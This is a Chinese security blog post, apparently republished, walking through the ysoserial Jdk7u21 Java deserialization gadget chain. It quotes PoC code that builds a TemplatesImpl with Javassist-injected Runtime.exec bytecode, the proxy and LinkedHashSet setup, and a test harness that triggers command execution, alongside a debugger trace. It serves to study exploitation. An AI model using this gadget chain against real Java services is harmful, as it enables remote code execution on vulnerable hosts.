Java安全之Jdk7u21链分析

Java安全之Jdk7u21链分析文章首发:Java安全之Jdk7u21链分析0x00前言其实该链是想拿到后面再去做分析的,但是学习到Fastjson这个漏洞,又不得不使用到该链。那么在这里就

大家好,又见面了,我是全栈君,祝每个程序员都可以多学几门语言。

Java安全之Jdk7u21链分析

文章首发:Java安全之Jdk7u21链分析

0x00 前言

其实该链是想拿到后面再去做分析的,但是学习到Fastjson这个漏洞,又不得不使用到该链。那么在这里就来做一个简单的分析。

在前面分析的利用链中,其实大致都差不多都是基于InvokerTransformerTemplatesImpl这两个类去进行执行命令,而其他的一些利用链也是基于这两个去进行一个变型。从而产生了新的利用链。而在这个Jdk7u21链中也是基于TemplatesImpl去实现的。

0x01 Jdk7u21链构造分析

先来看一下该利用链的在yso里面给出调用链

LinkedHashSet.readObject()
  LinkedHashSet.add()
    ...
      TemplatesImpl.hashCode() (X)
  LinkedHashSet.add()
    ...
      Proxy(Templates).hashCode() (X)
        AnnotationInvocationHandler.invoke() (X)
          AnnotationInvocationHandler.hashCodeImpl() (X)
            String.hashCode() (0)
            AnnotationInvocationHandler.memberValueHashCode() (X)
              TemplatesImpl.hashCode() (X)
      Proxy(Templates).equals()
        AnnotationInvocationHandler.invoke()
          AnnotationInvocationHandler.equalsImpl()
            Method.invoke()
              ...
                TemplatesImpl.getOutputProperties()
                  TemplatesImpl.newTransformer()
                    TemplatesImpl.getTransletInstance()
                      TemplatesImpl.defineTransletClasses()
                        ClassLoader.defineClass()
                        Class.newInstance()
                          ...
                            MaliciousClass.<clinit>()
                              ...
                                Runtime.exec()

从这里其实可以看到JDK 7u21的这条链相对来说,比前面的链需要的知识量要大一些,分析得也会比较绕。但是其实到了TemplatesImpl.getOutputProperties这一步其实也是和前面的相同。

本篇文就直接使用yos里面的POC来展开话题。

public Object getObject(final String command) throws Exception {
		final Object templates = Gadgets.createTemplatesImpl(command);

		String zeroHashCodeStr = "f5a5a608";

		HashMap map = new HashMap();
		map.put(zeroHashCodeStr, "foo");

		InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
		Reflections.setFieldValue(tempHandler, "type", Templates.class);
		Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

		LinkedHashSet set = new LinkedHashSet(); // maintain order
		set.add(templates);
		set.add(proxy);

		Reflections.setFieldValue(templates, "_auxClasses", null);
		Reflections.setFieldValue(templates, "_class", null);

		map.put(zeroHashCodeStr, templates); // swap in real object

		return set;
	}

因为是第一次写这个yos里面POC的分析文章,所以会写得详细一些。就先从第一行代码看起。

final Object templates = Gadgets.createTemplatesImpl(command);

这里是调用了Gadgets.createTemplatesImpl这个静态方法,并且传入执行的命令进去。来跟进一下该方法,查看该方法的实现。

Java安全之Jdk7u21链分析

这里是返回了他的重载的方法,并且把传入了命令与TemplatesImplAbstractTransletTransformerFactoryImpl这三个对象。来到他的重载方法中。

Java安全之Jdk7u21链分析

在重载方法中对传入的TemplatesImpl使用反射创建一个实例化对象。再来看下面的一段代码。

Java安全之Jdk7u21链分析

这里看到其实和前面CC2链的构造是一样的。使用Javassist动态创建一个类,并将其中的静态代码块设置为Runtime执行命令的一段代码,然后将其转换成字节码。可以看到和前面不一样的其实就是这里是使用了insertAfter,而前面的链中使用的是setBody去在静态代码块中插入恶意代码。但是效果其实都是一样的。可自行尝试。

对应的POC代码:

 ClassPool classPool=ClassPool.getDefault();//返回默认的类池
        classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
        CtClass payload=classPool.makeClass("CommonsCollections22222222222");//创建一个新的public类
        payload.setSuperclass(classPool.get(AbstractTranslet));  //设置前面创建的CommonsCollections22222222222类的父类为AbstractTranslet
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");

再来看下一段代码。

Java安全之Jdk7u21链分析

Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
            classBytes, ClassFiles.classAsBytes(Foo.class)
        });

        // required to make TemplatesImpl happy
        Reflections.setFieldValue(templates, "_name", "Pwnr");
        Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());

这个其实有了前面分析了简易化后的利用链POC的基础后,其实很容易懂,这里其实就是使用了Reflections.setFieldValuetemplates里面的_bytecodes设置为前面动态创建的类的字节码。

下面的_name设置为Pwnr字符,而_tfactory设置为TransformerFactoryImpl由反射创建的实例化对象。

Reflections.setFieldValue的底层代码也是由反射去实现的。

对应代码如下:

Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);//暴力反射
field.set(templatesImpl,new byte[][]{bytes});

和上面这段代码效果相同,后面设置_name_tfactory也是一样的方式,以此类推。

_name

先来看看这个_name为什么要设置该值。在前面也分析过该变量设置值的原因,这里再来叙述一遍。

Java安全之Jdk7u21链分析

在执行到templatesImplgetTransletInstance方法的时候会先去判断name的值如果为空,就会直接返回null,不做下面的执行

_bytecodes

这个_bytecodes前面也分析过。

Java安全之Jdk7u21链分析

来看到圈出来的这一段代码,如果_class为空,就会调用this.defineTransletClasses();方法。

跟进一下。

Java安全之Jdk7u21链分析

在圈出来的这一步就会去调用loader.defineClass方法然后传入_bytecodes,前面是使用了反射将恶意类的字节码赋值给_bytecodesloader.defineClass这个方法进行一下跟进。

Java安全之Jdk7u21链分析

实际中他的底层是调用了defineClass类加载器。关于defineClass类加载器可以将一个字节码进行动态加载。

具体可以看我的Java安全之 ClassLoader类加载器这篇文章。插个题外话,类加载器的调用无非两种方法,要么就是反射去调用,要么就直接继承该类进行重写。

回到刚刚的地方

Java安全之Jdk7u21链分析

_class赋值完成后,会在该地方调用newInstance进行实例化。而恶意的类的静态代码块中写入的恶意代码就会进行执行。

_tfactory

看一个大佬的文章说是 在defineTransletClasses()时会调用getExternalExtensionsMap(),当为null时会报错,所以要对_tfactory 设值。但是我在查询的时候并未看到getExternalExtensionsMap方法,而且在yso里面将设置_tfactory 值的代码给注释了一样能正常执行命令。

Java安全之Jdk7u21链分析

在我的物理机 8u181的版本中也没有发现。

Java安全之Jdk7u21链分析

后来看到大佬的文章中有该方法

Java安全之Jdk7u21链分析

根据大佬的解释是可以看到jdk1.8多了个_tfactory.getExternalExtensionsMap()的处理。我们在jdk1.8的环境下跟踪下程序,发现到这里_tfactory的值为null,所以执行_tfactory.getExternalExtensionsMap()函数时会出错,导致程序异常,不能加载_bytecodes的中的类。

下面再回到刚刚的点,来看下一段POC代码

Java安全之Jdk7u21链分析

InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

查看一下Reflections.getFirstCtor方法,内部就是使用反射创建一个无参构造的对象

Java安全之Jdk7u21链分析

传入的是Gadgets.ANN_INV_HANDLER_CLASS查看一下该静态方法。

Java安全之Jdk7u21链分析

该方法返回的是AnnotationInvocationHandler字符。也就是创建了一个AnnotationInvocationHandler的对象,并且调用newInstance实例化该对象,传入Override.class, map。前面说过AnnotationInvocationHandler这个类是用来处理注解的,前面的参数需要传入一个注解的参数,后面的需要传入一个map类型参数

简单来说就是使用反射创建了一个AnnotationInvocationHandler的实例。

Reflections.setFieldValue(tempHandler, "type", Templates.class);

这一段代码其实没啥好说的,就是把tempHandler里面的type的变量改成Templates.class

Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

再来看到下一段代码,跟进一下Gadgets.createProxy方法。

Java安全之Jdk7u21链分析

这里面实际上就是使用了 Templates去做动态代理。

对应POC代码:

Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);

        InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap);
        Templates templates=(Templates)Proxy.newProxyInstance(Templates.class.getClassLoader(),Templates.class.getInterfaces(),invocationHandler);
        Object object=constructor.newInstance(Override.class,templates);

接下来就还剩最后一段代码

LinkedHashSet set = new LinkedHashSet(); // maintain order
		set.add(templates);
		set.add(proxy);

		Reflections.setFieldValue(templates, "_auxClasses", null);
		Reflections.setFieldValue(templates, "_class", null);

		map.put(zeroHashCodeStr, templates); // swap in real object

在下面的代码就很好解释了,实例化一个LinkedHashSet对象将templatesproxy添加进去。

后面的就是将templates_class_auxClasses设置为空,前面的分析中提到过,在templatesImpl中的_class必须为空才会去执行getTransletInstance方法。

POC的代码其实也就这么多,因为yso将一些代码做了一个很好的封装,显得代码量也是比较少,但是如果第一次分析利用链就看yso的代码,会比较乱。POC具体为何这么构造会在调试分析中做一个详细的讲解。

0x02 Jdk7u21链调试分析

在该工具里面写一个测试类去获取一下,payload。

   public static void main(String[] args) throws Exception {
        Object calc = new Jdk7u21().getObject("calc");
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.out"));
        oos.writeObject(calc);

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("test.out"));

        Object o = ois.readObject();
    }

Java安全之Jdk7u21链分析

命令执行成功,接下来来分析一下该利用链调用。

这里使用的是LinkedHashSet.readObject去作为反序列化的入口点,但是LinkedHashSet并没有去实现readObject方法,但是该类继承了HashSet类,所以这里调用的是HashSetreadObject方法。在该方法打一个断点。

Java安全之Jdk7u21链分析

该方法在此处调用了,map.put方法,根据一下该方法。

Java安全之Jdk7u21链分析

在这里可以看到调用的是HashMap的put方法,这是为什么呢?查询一下HashSet中的Map成员变量

Java安全之Jdk7u21链分析

定义成员变量的时候,该map变量其实就是一个HashMap类的属性。

回到刚才的地方

Java安全之Jdk7u21链分析

看到这里执行完后,会跨过for 的代码块,执行下面的代码。因为table值是空的,这里就没法进行遍历。

Java安全之Jdk7u21链分析

而后面会使用addEntry,将这几个值添加进入,hash的值为hash方法处理TemplatesImpl的值,也就是计算了

TemplatesImpl的hash值。key为TemplatesImpl的实例对象,value则是一个空的Object对象,i参数为indexFor方法处理hash后的结果。

Java安全之Jdk7u21链分析

Java安全之Jdk7u21链分析

回到这次执行完成,会返回到HashSet的这次循环。

Java安全之Jdk7u21链分析

再第二次循环的时候,就会进入到该for循环里面

Java安全之Jdk7u21链分析

Java安全之Jdk7u21链分析

关键点其实就在这个key.equals前面说过这个key为TemplatesImpl的实例,前面做了一个动态代理,这里调用他的equals就会触发到AnnotationInvocationHandler invoke方法。

Java安全之Jdk7u21链分析

这个地方还会去调用equalsImpl方法,跟进一下该方法。

Java安全之Jdk7u21链分析

var8 = var5.invoke(var1); 语句,这里是通过反射调用 var1 对象的 var5 方法。跟踪一下getMemberMethods方法就知道。

Java安全之Jdk7u21链分析

在这里的this.typetemplates对象,使用getDeclaredMethods反射获取方法。

Java安全之Jdk7u21链分析

在这里可以看到获取到2个方法。在后面还可以看到一个for循环,然后会遍历var2的值。然后下面使用var8 = var5.invoke(var1);

反射去调用,这里传入的var是TemplatesImpl的实例对象。

这时候就会去调用getOutputProperties方法,其实到这步已经是很清晰了。因为后面的调用步骤和前面使用TemplatesImpl构造恶意类的调用时一样的。

Java安全之Jdk7u21链分析

getOutputProperties方法会去调用newTransformer方法,newTransformer又会去调用getTransletInstance方法,

Java安全之Jdk7u21链分析

Java安全之Jdk7u21链分析

到了后面的就不需要多说了,这里也只是简单描述一下。

参考文章

https://b1ue.cn/archives/176.html
https://xz.aliyun.com/t/6884
https://xz.aliyun.com/t/7236#toc-6

0x03 结尾

其实在该链中还有一些细节点没去做分析,该链的难点我觉得在于比较绕。这也是为什么后面才去分析这条链的原因,不得不说的一个点是能够完整分析这个链的一些细节点都是大佬,需要有较为深厚的代码功底。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/119902.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • Java中的数据类型详解——boolean类型

    Java中的数据类型详解——boolean类型BooleanTest01.java/* 1、在java语言中boolean类型只有两个值,没有其他值: true和false。 不像c或者c++,c语言中1和0也可以表示布尔类型。 2、boolean类型在实际开发中使用在哪里呢? 使用在逻辑判断当中,通常放在条件的位置上(充当条件)。*/publicclassBooleanTest01{ publicstaticvoidmain(String[]args){ //错误:不兼容的类型:int无法转换为boole

    2022年7月8日
    62
  • 哈佛结构和普林斯顿结构的区别_普林斯顿大学和哈佛大学哪个更厉害

    哈佛结构和普林斯顿结构的区别_普林斯顿大学和哈佛大学哪个更厉害哈佛结构是一种将程序指令存储和数据存储分开的存储器结构。中央处理器首先到程序指令存储器中读取程序指令内容,解码后得到数据地址,再到相应的数据存储器中读取数据,并进行下一步的操作(通常是执行)。程序指令存储和数据存储分开,可以使指令和数据有不同的数据宽度,如Microchip公司的PIC16芯片的程序指令是14位宽度,而数据是8位宽度。      哈佛结构的微处理器通常具有较高的执行效

    2022年10月5日
    0
  • Android——谷歌官方下拉刷新控件SwipeRefreshLayout「建议收藏」

    Android——谷歌官方下拉刷新控件SwipeRefreshLayout「建议收藏」转自:http://blog.csdn.net/zouzhigang96/article/details/50476402前言: 如今谷歌推出了更官方的下拉刷新控件,这无疑是对安卓开发人员来说是个好消息,很方便的使用这个SwipeRefreshLayout控件实现下拉刷新功能。Android4.0以下的版本需要用到android-support-v4.jar包才能用到 andr

    2022年6月25日
    28
  • vim命令复制粘贴命令_linux编辑文件命令vim

    vim命令复制粘贴命令_linux编辑文件命令vim今天被vim的复制粘贴弄得很烦,它不像windows那样,每次复制会把以前的内容覆盖。所以有时粘贴出来的东西并不是你想要的。在不同终端中,用vim打开的两个文件之间的复制粘贴1.用同一个终端,直接使用这个命令:vimfile1file2这样就可以直接用y和p复制粘贴了。但是这样比较麻烦,需要在两个文件之间切换。2.之所以不能直接用y和p复制粘贴。是因为每个终端中的vim复制的内容存储在不同…

    2022年9月22日
    0
  • 指针函数和函数指针(附实例详解)

    指针函数和函数指针(附实例详解)指针函数和函数指针(附实例详解)

    2022年6月22日
    35
  • 中缀表达式转后缀表达式方法_后缀表达式怎么求值

    中缀表达式转后缀表达式方法_后缀表达式怎么求值前言数据结构与算法中经常遇到中缀表达式转前缀表达式的题目,网上的教程大都很不直观,自己学的时候,也走了很多弯路,现在把一个简单易懂的算法教程分享出来。中缀转后缀举个例子,一个式子:(5+20+1∗3)/14(5+20+1*3)/14(5+20+1∗3)/14如何把该式子转换成后缀表达式呢?其实就是分三步:1、按运算符优先级对所有运算符和它的运算数加括号,(原本的括号不用加)2、把运算…

    2022年10月26日
    0

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号